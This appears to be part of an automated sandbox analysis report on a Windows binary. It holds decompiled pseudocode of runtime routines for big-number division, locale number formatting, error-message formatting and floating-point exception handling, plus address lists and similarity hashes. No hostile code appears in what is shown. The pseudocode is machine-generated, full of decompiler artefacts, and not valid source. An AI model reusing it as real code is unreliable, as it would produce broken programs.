									__eflags = _t341;
									while(1) {
										__eflags =  *_t341 -  *_t368;
										if( *_t341 !=  *_t368) {
											break;
										}
										_t269 = _t269 - 1;
										_t341 = _t341 - 4;
										_t368 = _t368 - 4;
										__eflags = _t269 - _t306;
										if(_t269 >= _t306) {
											continue;
										} else {
											goto L21;
										}
										goto L22;
									}
									_t369 = _a8;
									_t54 = (_t269 - _t306) * 4; // 0xfc23b5a
									__eflags =  *((intOrPtr*)(_t369 + _t54 + 4)) -  *((intOrPtr*)(_t262 + 4 + _t269 * 4));
									if( *((intOrPtr*)(_t369 + _t54 + 4)) <  *((intOrPtr*)(_t262 + 4 + _t269 * 4))) {
										goto L21;
									}
								}
								L22:
								__eflags = _t306;
								if(__eflags != 0) {
									_t330 = _v60;
									_t200 = _a8;
									_t351 =  *(_t200 + _t330 * 4);
									_t64 = _t330 * 4; // 0xffffe9e5
									_t201 =  *((intOrPtr*)(_t200 + _t64 - 4));
									_v36 = _t201;
									asm("bsr eax, esi");
									_v56 = _t351;
									if(__eflags == 0) {
										_t270 = 0x20;
									} else {
										_t270 = 0x1f - _t201;
									}
									_v40 = _t270;
									_v64 = 0x20 - _t270;
									__eflags = _t270;
									if(_t270 != 0) {
										_t292 = _v40;
										_v36 = _v36 << _t292;
										_v56 = _t351 << _t292 | _v36 >> _v64;
										__eflags = _t330 - 2;
										if(_t330 > 2) {
											_t79 = _t330 * 4; // 0xe850ffff
											_t81 =  &_v36;
											 *_t81 = _v36 |  *(_a8 + _t79 - 8) >> _v64;
											__eflags =  *_t81;
										}
									}
									_v76 = 0;
									_t307 = _t306 + 0xffffffff;
									__eflags = _t307;
									_v32 = _t307;
									if(_t307 < 0) {
										_t331 = 0;
										__eflags = 0;
									} else {
										_t85 =  &(_t262[1]); // 0x4
										_v20 =  &(_t85[_t307]);
										_t206 = _t307 + _t330;
										_t90 = _t262 - 4; // -4
										_v12 = _t206;
										_t278 = _t90 + _t206 * 4;
										_v80 = _t278;
										do {
											__eflags = _t206 - _v16;
											if(_t206 > _v16) {
												_t207 = 0;
												__eflags = 0;
											} else {
												_t207 = _t278[2];
											}
											__eflags = _v40;
											_t311 = _t278[1];
											_t279 =  *_t278;
											_v52 = _t207;
											_v44 = 0;
											_v8 = _t207;
											_v24 = _t279;
											if(_v40 > 0) {
												_t318 = _v8;
												_t336 = _t279 >> _v64;
												_t230 = E0136DDA0(_t311, _v40, _t318);
												_t279 = _v40;
												_t207 = _t318;
												_t311 = _t336 | _t230;
												_t359 = _v24 << _t279;
												__eflags = _v12 - 3;
												_v8 = _t318;
												_v24 = _t359;
												if(_v12 >= 3) {
													_t279 = _v64;
													_t360 = _t359 |  *(_t262 + (_v60 + _v32) * 4 - 8) >> _t279;
													__eflags = _t360;
													_t207 = _v8;
													_v24 = _t360;
												}
											}
											_t208 = E01380DE0(_t311, _t207, _v56, 0);
											_v44 = _t262;
											_t263 = _t208;
											_v44 = 0;
											_t209 = _t311;
											_v8 = _t263;
											_v28 = _t209;
											_t333 = _t279;
											_v72 = _t263;
											_v68 = _t209;
											__eflags = _t209;
											if(_t209 != 0) {
												L40:
												_t264 = _t263 + 1;
												asm("adc eax, 0xffffffff");
												_t333 = _t333 + E0136DDC0(_t264, _t209, _v56, 0);
												asm("adc esi, edx");
												_t263 = _t264 | 0xffffffff;
												_t209 = 0;
												__eflags = 0;
												_v44 = 0;
												_v8 = _t263;
												_v72 = _t263;
												_v28 = 0;
												_v68 = 0;
											} else {
												__eflags = _t263 - 0xffffffff;
												if(_t263 > 0xffffffff) {
													goto L40;
												}
											}
											__eflags = 0;
											if(0 <= 0) {
												if(0 < 0) {
													goto L44;
												} else {
													__eflags = _t333 - 0xffffffff;
													if(_t333 <= 0xffffffff) {
														while(1) {
															L44:
															_v8 = _v24;
															_t228 = E0136DDC0(_v36, 0, _t263, _t209);
															__eflags = _t311 - _t333;
															if(__eflags < 0) {
																break;
															}
															if(__eflags > 0) {
																L47:
																_t209 = _v28;
																_t263 = _t263 + 0xffffffff;
																_v72 = _t263;
																asm("adc eax, 0xffffffff");
																_t333 = _t333 + _v56;
																__eflags = _t333;
																_v28 = _t209;
																asm("adc dword [ebp-0x28], 0x0");
																_v68 = _t209;
																if(_t333 == 0) {
																	__eflags = _t333 - 0xffffffff;
																	if(_t333 <= 0xffffffff) {
																		continue;
																	} else {
																	}
																}
															} else {
																__eflags = _t228 - _v8;
																if(_t228 <= _v8) {
																	break;
																} else {
																	goto L47;
																}
															}
															L51:
															_v8 = _t263;
															goto L52;
														}
														_t209 = _v28;
														goto L51;
													}
												}
											}
											L52:
											__eflags = _t209;
											if(_t209 != 0) {
												L54:
												_t280 = _v60;
												_t334 = 0;
												_t355 = 0;
												__eflags = _t280;
												if(_t280 != 0) {
													_t266 = _v20;
													_t219 =  &(_a8[1]);
													__eflags = _t219;
													_v24 = _t219;
													_v16 = _t280;
													do {
														_v44 =  *_t219;
														_t225 =  *_t266;
														_t286 = _t334 + _v72 * _v44;
														asm("adc esi, edx");
														_t334 = _t355;
														_t355 = 0;
														__eflags = _t225 - _t286;
														if(_t225 < _t286) {
															_t334 = _t334 + 1;
															asm("adc esi, esi");
														}
														 *_t266 = _t225 - _t286;
														_t266 = _t266 + 4;
														_t219 = _v24 + 4;
														_t164 =  &_v16;
														 *_t164 = _v16 - 1;
														__eflags =  *_t164;
														_v24 = _t219;
													} while ( *_t164 != 0);
													_t263 = _v8;
													_t280 = _v60;
												}
												__eflags = 0 - _t355;
												if(__eflags <= 0) {
													if(__eflags < 0) {
														L63:
														__eflags = _t280;
														if(_t280 != 0) {
															_t338 = _t280;
															_t314 = _v20;
															_t362 =  &(_a8[1]);
															__eflags = _t362;
															_t265 = 0;
															do {
																_t282 =  *_t314;
																_t172 = _t362 + 4; // 0xa6a5959
																_t362 = _t172;
																_t314 = _t314 + 4;
																asm("adc eax, eax");
																 *((intOrPtr*)(_t314 - 4)) = _t282 +  *((intOrPtr*)(_t362 - 4)) + _t265;
																asm("adc eax, 0x0");
																_t265 = 0;
																_t338 = _t338 - 1;
																__eflags = _t338;
															} while (_t338 != 0);
															_t263 = _v8;
														}
														_t263 = _t263 + 0xffffffff;
														asm("adc dword [ebp-0x18], 0xffffffff");
													} else {
														__eflags = _v52 - _t334;
														if(_v52 < _t334) {
															goto L63;
														}
													}
												}
												_t213 = _v12 - 1;
												__eflags = _t213;
												_v16 = _t213;
											} else {
												__eflags = _t263;
												if(_t263 != 0) {
													goto L54;
												}
											}
											_t331 = 0 + _t263;
											asm("adc esi, 0x0");
											_v20 = _v20 - 4;
											_t313 = _v32 - 1;
											_t262 = _a4;
											_t278 = _v80 - 4;
											_t206 = _v12 - 1;
											_v76 = _t331;
											_v32 = _t313;
											_v80 = _t278;
											_v12 = _t206;
											__eflags = _t313;
										} while (_t313 >= 0);
									}
									_t309 = _v16 + 1;
									_t204 = _t309;
									__eflags = _t204 -  *_t262;
									if(_t204 <  *_t262) {
										_t191 = _t204 + 1; // 0x137d6cd
										_t274 =  &(_t262[_t191]);
										do {
											 *_t274 = 0;
											_t194 =  &(_t274[1]); // 0x91850fc2
											_t274 = _t194;
											_t204 = _t204 + 1;
											__eflags = _t204 -  *_t262;
										} while (_t204 <  *_t262);
									}
									 *_t262 = _t309;
									__eflags = _t309;
									if(_t309 != 0) {
										while(1) {
											_t271 =  *_t262;
											__eflags = _t262[_t271];
											if(_t262[_t271] != 0) {
												goto L78;
											}
											_t272 = _t271 + 0xffffffff;
											__eflags = _t272;
											 *_t262 = _t272;
											if(_t272 != 0) {
												continue;
											}
											goto L78;
										}
									}
									L78:
									return _t331;
								} else {
									goto L23;
								}
							}
						} else {
							_t6 =  &(_t328[1]); // 0xfc23b5a
							_t295 =  *_t6;
							_v44 = _t295;
							__eflags = _t295 - 1;
							if(_t295 != 1) {
								__eflags = _t349;
								if(_t349 != 0) {
									_t342 = 0;
									_v12 = 0;
									_v8 = 0;
									_v20 = 0;
									__eflags = _t349 - 0xffffffff;
									if(_t349 != 0xffffffff) {
										_t250 = _v16 + 1;
										__eflags = _t250;
										_v32 = _t250;
										_t373 =  &(_t262[_t349 + 1]);
										do {
											_t253 = E01380DE0( *_t373, _t342, _t295, 0);
											_v68 = _t303;
											_t373 = _t373 - 4;
											_v20 = _t262;
											_t342 = _t295;
											_t303 = 0 + _t253;
											asm("adc ecx, 0x0");
											_v12 = _t303;
											_t34 =  &_v32;
											 *_t34 = _v32 - 1;
											__eflags =  *_t34;
											_v8 = _v12;
											_t295 = _v44;
										} while ( *_t34 != 0);
										_t262 = _a4;
									}
									_v544 = 0;
									_t41 =  &(_t262[1]); // 0x4
									_t370 = _t41;
									 *_t262 = 0;
									E0137AA64(_t370, 0x1cc,  &_v540, 0);
									_t247 = _v20;
									__eflags = 0 - _t247;
									 *_t370 = _t342;
									_t262[2] = _t247;
									asm("sbb ecx, ecx");
									__eflags =  ~0x00000000;
									 *_t262 = 0xbadbae;
									return _v12;
								} else {
									_t14 =  &(_t262[1]); // 0x4
									_t344 = _t14;
									_v544 = 0;
									 *_t262 = 0;
									E0137AA64(_t344, 0x1cc,  &_v540, 0);
									_t256 = _t262[1];
									_t322 = _t256 % _v44;
									__eflags = 0 - _t322;
									 *_t344 = _t322;
									asm("sbb ecx, ecx");
									__eflags = 0;
									 *_t262 =  ~0x00000000;
									return _t256 / _v44;
								}
							} else {
								_t9 =  &(_t262[1]); // 0x4
								_v544 = _t198;
								 *_t262 = _t198;
								E0137AA64(_t9, 0x1cc,  &_v540, _t198);
								__eflags = 0;
								return _t262[1];
							}
						}
					} else {
						__eflags = 0;
						return 0;
					}
				} else {
					return _t197;
				}
			}

0x0137c0bc
0x0137c0bf
0x0137c0c3
0x0137c0cd
0x0137c0d0
0x0137c0d2
0x0137c0d4
0x0137c0e1
0x0137c0e1
0x0137c0e4
0x0137c0e4
0x0137c0e7
0x0137c0ea
0x0137c0ec
0x0137c21f
0x0137c221
0x0137c26a
0x0137c26e
0x0137c274
0x0137c223
0x0137c225
0x0137c228
0x0137c22a
0x0137c22d
0x0137c22f
0x0137c231
0x0137c265
0x0137c265
0x0137c265
0x0137c233
0x0137c238
0x0137c23e
0x0137c23e
0x0137c241
0x0137c243
0x0137c245
0x00000000
0x00000000
0x0137c247
0x0137c248
0x0137c24b
0x0137c24e
0x0137c250
0x00000000
0x0137c252
0x00000000
0x0137c252
0x00000000
0x0137c250
0x0137c254
0x0137c25b
0x0137c25f
0x0137c263
0x00000000
0x00000000
0x0137c263
0x0137c266
0x0137c266
0x0137c268
0x0137c275
0x0137c278
0x0137c27b
0x0137c27e
0x0137c27e
0x0137c282
0x0137c285
0x0137c288
0x0137c28b
0x0137c296
0x0137c28d
0x0137c292
0x0137c292
0x0137c2a0
0x0137c2a5
0x0137c2a8
0x0137c2aa
0x0137c2b4
0x0137c2b7
0x0137c2be
0x0137c2c1
0x0137c2c4
0x0137c2cc
0x0137c2d2
0x0137c2d2
0x0137c2d2
0x0137c2d2
0x0137c2c4
0x0137c2d7
0x0137c2de
0x0137c2de
0x0137c2e1
0x0137c2e4
0x0137c516
0x0137c516
0x0137c2ea
0x0137c2ea
0x0137c2f0
0x0137c2f3
0x0137c2f6
0x0137c2f9
0x0137c2fc
0x0137c2ff
0x0137c302
0x0137c302
0x0137c305
0x0137c30c
0x0137c30c
0x0137c307
0x0137c307
0x0137c307
0x0137c30e
0x0137c312
0x0137c315
0x0137c317
0x0137c31a
0x0137c321
0x0137c324
0x0137c327
0x0137c332
0x0137c335
0x0137c33a
0x0137c33f
0x0137c346
0x0137c34b
0x0137c34d
0x0137c34f
0x0137c353
0x0137c356
0x0137c359
0x0137c361
0x0137c36a
0x0137c36a
0x0137c36c
0x0137c36f
0x0137c36f
0x0137c359
0x0137c379
0x0137c37e
0x0137c383
0x0137c385
0x0137c388
0x0137c38a
0x0137c38d
0x0137c390
0x0137c392
0x0137c395
0x0137c398
0x0137c39a
0x0137c3a1
0x0137c3a6
0x0137c3a9
0x0137c3b3
0x0137c3b5
0x0137c3b7
0x0137c3ba
0x0137c3ba
0x0137c3bc
0x0137c3bf
0x0137c3c2
0x0137c3c5
0x0137c3c8
0x0137c39c
0x0137c39c
0x0137c39f
0x00000000
0x00000000
0x0137c39f
0x0137c3cb
0x0137c3cd
0x0137c3cf
0x00000000
0x0137c3d1
0x0137c3d1
0x0137c3d4
0x0137c3d6
0x0137c3d6
0x0137c3e4
0x0137c3e7
0x0137c3ec
0x0137c3ee
0x00000000
0x00000000
0x0137c3f0
0x0137c3f7
0x0137c3f7
0x0137c3fa
0x0137c3fd
0x0137c400
0x0137c403
0x0137c403
0x0137c406
0x0137c409
0x0137c40d
0x0137c410
0x0137c412
0x0137c415
0x00000000
0x00000000
0x0137c417
0x0137c415
0x0137c3f2
0x0137c3f2
0x0137c3f5
0x00000000
0x00000000
0x00000000
0x00000000
0x0137c3f5
0x0137c41c
0x0137c41c
0x00000000
0x0137c41c
0x0137c419
0x00000000
0x0137c419
0x0137c3d4
0x0137c3cf
0x0137c41f
0x0137c41f
0x0137c421
0x0137c42b
0x0137c42b
0x0137c42e
0x0137c430
0x0137c432
0x0137c434
0x0137c439
0x0137c43c
0x0137c43c
0x0137c43f
0x0137c442
0x0137c445
0x0137c447
0x0137c45c
0x0137c45e
0x0137c460
0x0137c462
0x0137c464
0x0137c466
0x0137c468
0x0137c46a
0x0137c46d
0x0137c46d
0x0137c471
0x0137c473
0x0137c479
0x0137c47c
0x0137c47c
0x0137c47c
0x0137c480
0x0137c480
0x0137c485
0x0137c488
0x0137c488
0x0137c48d
0x0137c48f
0x0137c491
0x0137c498
0x0137c498
0x0137c49a
0x0137c49f
0x0137c4a1
0x0137c4a4
0x0137c4a4
0x0137c4a7
0x0137c4b0
0x0137c4b0
0x0137c4b2
0x0137c4b2
0x0137c4b7
0x0137c4bd
0x0137c4c1
0x0137c4c4
0x0137c4c7
0x0137c4c9
0x0137c4c9
0x0137c4c9
0x0137c4ce
0x0137c4ce
0x0137c4d1
0x0137c4d4
0x0137c493
0x0137c493
0x0137c496
0x00000000
0x00000000
0x0137c496
0x0137c491
0x0137c4db
0x0137c4db
0x0137c4dc
0x0137c423
0x0137c423
0x0137c425
0x00000000
0x00000000
0x0137c425
0x0137c4ec
0x0137c4f1
0x0137c4f4
0x0137c4f8
0x0137c4f9
0x0137c4fc
0x0137c4ff
0x0137c500
0x0137c503
0x0137c506
0x0137c509
0x0137c50c
0x0137c50c
0x0137c514
0x0137c51b
0x0137c51c
0x0137c51e
0x0137c520
0x0137c522
0x0137c525
0x0137c530
0x0137c530
0x0137c536
0x0137c536
0x0137c539
0x0137c53a
0x0137c53a
0x0137c530
0x0137c53e
0x0137c540
0x0137c542
0x0137c544
0x0137c544
0x0137c546
0x0137c54a
0x00000000
0x00000000
0x0137c54c
0x0137c54c
0x0137c54f
0x0137c551
0x00000000
0x00000000
0x00000000
0x0137c551
0x0137c544
0x0137c553
0x0137c55d
0x00000000
0x00000000
0x00000000
0x0137c268
0x0137c0f2
0x0137c0f2
0x0137c0f2
0x0137c0f5
0x0137c0f8
0x0137c0fb
0x0137c12c
0x0137c12e
0x0137c179
0x0137c17b
0x0137c182
0x0137c189
0x0137c18c
0x0137c18f
0x0137c195
0x0137c195
0x0137c196
0x0137c199
0x0137c1a0
0x0137c1a9
0x0137c1ae
0x0137c1b1
0x0137c1b6
0x0137c1b9
0x0137c1bb
0x0137c1c0
0x0137c1c3
0x0137c1c6
0x0137c1c6
0x0137c1c6
0x0137c1ca
0x0137c1cd
0x0137c1cd
0x0137c1d2
0x0137c1d2
0x0137c1dd
0x0137c1e8
0x0137c1e8
0x0137c1eb
0x0137c1f7
0x0137c1fc
0x0137c207
0x0137c209
0x0137c20b
0x0137c211
0x0137c216
0x0137c218
0x0137c21e
0x0137c130
0x0137c13c
0x0137c13c
0x0137c13f
0x0137c14f
0x0137c155
0x0137c15c
0x0137c15e
0x0137c166
0x0137c168
0x0137c16a
0x0137c16f
0x0137c172
0x0137c178
0x0137c178
0x0137c0fd
0x0137c100
0x0137c104
0x0137c10a
0x0137c119
0x0137c123
0x0137c12b
0x0137c12b
0x0137c0fb
0x0137c0d6
0x0137c0d9
0x0137c0df
0x0137c0df
0x0137c0c5
0x0137c0cb
0x0137c0cb

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e50bbf9e4776493f77c5540494787f02e85b2eba5f0c0a8ffb8a0a8bb63874f
Instruction ID: ed1e14b54ac018c56b9dc2839077b23a6278f426585e251d04d94083d3afa43a
Opcode Fuzzy Hash: 0e50bbf9e4776493f77c5540494787f02e85b2eba5f0c0a8ffb8a0a8bb63874f
Instruction Fuzzy Hash: 58023C71E0021A9BDF25CFADC8806ADBBF5FF48328F158169D919F7241D735AA41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01369D99, Relevance: 3.0, APIs: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01369D99(intOrPtr _a4, intOrPtr _a8, short* _a12, int _a16) {
				short _v104;
				short _v304;
				short* _t23;
				int _t24;

				if( *0x138d610 == 0) {
					GetLocaleInfoW(0x400, 0xf,  &_v304, 0x64);
					 *0x13ade30 = _v304;
					 *0x13ade32 = 0;
					 *0x138d610 = 0x13ade30;
				}
				E0135F980(_a4, _a8,  &_v104, 0x32);
				_t23 = _a12;
				_t24 = _a16;
				 *_t23 = 0;
				GetNumberFormatW(0x400, 0,  &_v104, 0x138d600, _t23, _t24);
				 *((short*)(_t23 + _t24 * 2 - 2)) = 0;
				return 0;
			}

0x01369db1
0x01369dbf
0x01369dcc
0x01369dd4
0x01369dda
0x01369dda
0x01369df0
0x01369df5
0x01369dfa
0x01369e04
0x01369e0e
0x01369e16
0x01369e21

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 01369DBF
GetNumberFormatW.KERNEL32 ref: 01369E0E

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 72d938b7ece6a78696e225dcbde5b87f64c42e8a429a0541ff3d14dae0cf4073
Instruction ID: a1efa9993a08f90aee76cd266c66230e2b0c7a1e56cf6ee525c0de367649d732
Opcode Fuzzy Hash: 72d938b7ece6a78696e225dcbde5b87f64c42e8a429a0541ff3d14dae0cf4073
Instruction Fuzzy Hash: 43015A39100308AADB209FA4EC45FABB7BCFF19724F405422FA08A7184D3709924CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 01356D06, Relevance: 3.0, APIs: 2, Instructions: 17
windowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E01356D06(WCHAR* _a4, long _a8) {
				long _t3;
				signed int _t5;

				_t3 = GetLastError();
				if(_t3 == 0) {
					return 0;
				}
				_t5 = FormatMessageW(0x1200, 0, _t3, 0x400, _a4, _a8, 0);
				asm("sbb eax, eax");
				return  ~( ~_t5);
			}

0x01356d06
0x01356d0e
0x00000000
0x01356d35
0x01356d27
0x01356d2f
0x00000000

APIs

GetLastError.KERNEL32(01360DE0,?,00000200), ref: 01356D06
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 01356D27

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 12f32264e3af5f07361428e85817f1bc2afaa4af6cf7ab269ba158b85103223a
Instruction ID: c20ecad93ce96e1fd6e574640b5a03210ead33544914b70efa7749332cb8c8a5
Opcode Fuzzy Hash: 12f32264e3af5f07361428e85817f1bc2afaa4af6cf7ab269ba158b85103223a
Instruction Fuzzy Hash: 24D0C9B1388306BEFBA10A708C0AF2B7BDAB795F86F608D04B756E90D4D6709055D729

Uniqueness

Uniqueness Score: -1.00%

Function 01380654, Relevance: 1.8, APIs: 1, Instructions: 269
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E01380654(long _a4, signed int* _a8, signed char _a12, signed int _a16, intOrPtr* _a20, unsigned int* _a24, intOrPtr _a28) {
				signed int _t172;
				signed int _t175;
				signed int _t178;
				signed int* _t179;
				signed int _t195;
				signed int _t199;
				signed int _t202;
				void* _t203;
				void* _t206;
				signed int _t209;
				void* _t210;
				signed int _t225;
				unsigned int* _t240;
				signed char _t242;
				signed int* _t250;
				unsigned int* _t256;
				signed int* _t257;
				signed char _t259;
				long _t262;
				signed int* _t265;

				 *(_a4 + 4) = 0;
				_t262 = 0xc000000d;
				 *(_a4 + 8) = 0;
				 *(_a4 + 0xc) = 0;
				_t242 = _a12;
				if((_t242 & 0x00000010) != 0) {
					_t262 = 0xc000008f;
					 *(_a4 + 4) =  *(_a4 + 4) | 1;
				}
				if((_t242 & 0x00000002) != 0) {
					_t262 = 0xc0000093;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000002;
				}
				if((_t242 & 0x00000001) != 0) {
					_t262 = 0xc0000091;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000004;
				}
				if((_t242 & 0x00000004) != 0) {
					_t262 = 0xc000008e;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
				}
				if((_t242 & 0x00000008) != 0) {
					_t262 = 0xc0000090;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000010;
				}
				_t265 = _a8;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 << 4) ^  *(_a4 + 8)) & 0x00000010;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 +  *_t265) ^  *(_a4 + 8)) & 0x00000008;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 1) ^  *(_a4 + 8)) & 0x00000004;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 3) ^  *(_a4 + 8)) & 0x00000002;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 5) ^  *(_a4 + 8)) & 1;
				_t259 = E0137DFB6(_a4);
				if((_t259 & 0x00000001) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000010;
				}
				if((_t259 & 0x00000004) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000008;
				}
				if((_t259 & 0x00000008) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000004;
				}
				if((_t259 & 0x00000010) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000002;
				}
				if((_t259 & 0x00000020) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 1;
				}
				_t172 =  *_t265 & 0x00000c00;
				if(_t172 == 0) {
					 *_a4 =  *_a4 & 0xfffffffc;
				} else {
					if(_t172 == 0x400) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffd | 1;
						L26:
						 *_t257 = _t225;
						L29:
						_t175 =  *_t265 & 0x00000300;
						if(_t175 == 0) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffeb | 0x00000008;
							L35:
							 *_t250 = _t178;
							L36:
							_t179 = _a4;
							_t254 = (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *_t179 =  *_t179 ^ (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *(_a4 + 0x20) =  *(_a4 + 0x20) | 1;
							if(_a28 == 0) {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe3 | 0x00000002;
								 *((long long*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t254 = _a4;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe3 | 0x00000002;
								 *(_a4 + 0x50) =  *_t240;
							} else {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe1;
								 *((intOrPtr*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe1;
								 *(_a4 + 0x50) =  *_t240;
							}
							E0137DF1C(_t254);
							RaiseException(_t262, 0, 1,  &_a4);
							_t256 = _a4;
							if((_t256[2] & 0x00000010) != 0) {
								 *_t265 =  *_t265 & 0xfffffffe;
							}
							if((_t256[2] & 0x00000008) != 0) {
								 *_t265 =  *_t265 & 0xfffffffb;
							}
							if((_t256[2] & 0x00000004) != 0) {
								 *_t265 =  *_t265 & 0xfffffff7;
							}
							if((_t256[2] & 0x00000002) != 0) {
								 *_t265 =  *_t265 & 0xffffffef;
							}
							if((_t256[2] & 0x00000001) != 0) {
								 *_t265 =  *_t265 & 0xffffffdf;
							}
							_t195 =  *_t256 & 0x00000003;
							if(_t195 == 0) {
								 *_t265 =  *_t265 & 0xfffff3ff;
							} else {
								_t206 = _t195 - 1;
								if(_t206 == 0) {
									_t209 =  *_t265 & 0xfffff7ff | 0x00000400;
									L55:
									 *_t265 = _t209;
									L58:
									_t199 =  *_t256 >> 0x00000002 & 0x00000007;
									if(_t199 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000300;
										L64:
										 *_t265 = _t202;
										L65:
										if(_a28 == 0) {
											 *_t240 = _t256[0x14];
										} else {
											 *_t240 = _t256[0x14];
										}
										return _t202;
									}
									_t203 = _t199 - 1;
									if(_t203 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000200;
										goto L64;
									}
									_t202 = _t203 - 1;
									if(_t202 == 0) {
										 *_t265 =  *_t265 & 0xfffff3ff;
									}
									goto L65;
								}
								_t210 = _t206 - 1;
								if(_t210 == 0) {
									_t209 =  *_t265 & 0xfffffbff | 0x00000800;
									goto L55;
								}
								if(_t210 == 1) {
									 *_t265 =  *_t265 | 0x00000c00;
								}
							}
							goto L58;
						}
						if(_t175 == 0x200) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffe7 | 0x00000004;
							goto L35;
						}
						if(_t175 == 0x300) {
							 *_a4 =  *_a4 & 0xffffffe3;
						}
						goto L36;
					}
					if(_t172 == 0x800) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffe | 0x00000002;
						goto L26;
					}
					if(_t172 == 0xc00) {
						 *_a4 =  *_a4 | 0x00000003;
					}
				}
			}

0x01380662
0x01380669
0x0138066e
0x01380674
0x01380677
0x0138067d
0x01380682
0x01380687
0x01380687
0x0138068d
0x01380692
0x01380697
0x01380697
0x0138069e
0x013806a3
0x013806a8
0x013806a8
0x013806af
0x013806b4
0x013806b9
0x013806b9
0x013806c0
0x013806c5
0x013806ca
0x013806ca
0x013806d2
0x013806e2
0x013806f4
0x01380706
0x01380719
0x0138072b
0x01380733
0x01380738
0x0138073d
0x0138073d
0x01380744
0x01380749
0x01380749
0x01380750
0x01380755
0x01380755
0x0138075c
0x01380761
0x01380761
0x01380768
0x0138076d
0x0138076d
0x01380777
0x01380779
0x013807b3
0x0138077b
0x01380780
0x013807a4
0x013807ac
0x013807a0
0x013807a0
0x013807b6
0x013807bd
0x013807bf
0x013807e1
0x013807e9
0x013807ec
0x013807ec
0x013807ee
0x013807ee
0x013807f9
0x013807ff
0x01380804
0x0138080b
0x01380845
0x01380850
0x01380856
0x01380859
0x0138085c
0x01380868
0x01380870
0x0138080d
0x01380810
0x0138081c
0x01380822
0x01380828
0x0138082b
0x01380834
0x01380834
0x01380873
0x01380881
0x01380887
0x0138088e
0x01380890
0x01380890
0x01380897
0x01380899
0x01380899
0x013808a0
0x013808a2
0x013808a2
0x013808a9
0x013808ab
0x013808ab
0x013808b2
0x013808b4
0x013808b4
0x013808c1
0x013808c4
0x013808fb
0x013808c6
0x013808c6
0x013808c9
0x013808f4
0x013808e9
0x013808e9
0x013808fd
0x01380905
0x01380908
0x01380927
0x0138092c
0x0138092c
0x0138092e
0x01380933
0x0138093f
0x01380935
0x01380938
0x01380938
0x01380944
0x01380944
0x0138090a
0x0138090d
0x0138091c
0x00000000
0x0138091c
0x0138090f
0x01380912
0x01380914
0x01380914
0x00000000
0x01380912
